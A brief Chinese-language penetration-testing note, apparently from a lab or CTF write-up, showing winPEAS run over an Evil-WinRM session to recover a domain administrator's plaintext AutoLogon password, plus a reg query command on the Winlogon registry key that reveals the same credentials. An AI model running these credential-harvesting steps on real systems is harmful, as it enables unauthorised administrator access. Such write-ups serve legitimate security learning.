AutoLogon
1. Winpeas
winPEAS 检查一下，可以在AutoLogon中发现管理员密码
*Evil-WinRM* PS C:\Users\ldapadmin\Documents> .\winPEASx64.exe
╔══════════╣ Looking for AutoLogon credentials
Some AutoLogon credentials were found
DefaultDomainName : ZWFW
>>>> DefaultUserName : administrator
>>>> DefaultPassword : a4Z6FcRYSp6LLSGO
也可以用注册表查看
reg query "HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Winlogon"